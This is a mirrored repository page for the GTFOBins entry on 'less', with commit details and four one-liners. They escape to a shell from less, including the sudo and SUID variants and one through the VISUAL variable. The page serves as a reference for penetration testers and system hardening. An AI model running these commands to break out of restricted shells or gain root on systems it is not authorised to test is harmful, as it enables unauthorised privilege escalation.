1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-18 13:31:34 +01:00
GTFOBins.github.io/_gtfobins/less.md
Andrea Cardaci e885d4a6ee Remove the -p option from suid-limited
It is useless because:
- if Debian-like, it is not supported and does not drop anyway;
- otherwise the `system()`-like function already used a shell that dropped the
  privileges.
2018-05-25 00:57:42 +02:00

330 B

functions
exec-interactive sudo-enabled suid-limited
code
less /etc/profile !/bin/sh
code
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v
code
sudo less /etc/profile !/bin/sh
code
./less /etc/profile !/bin/sh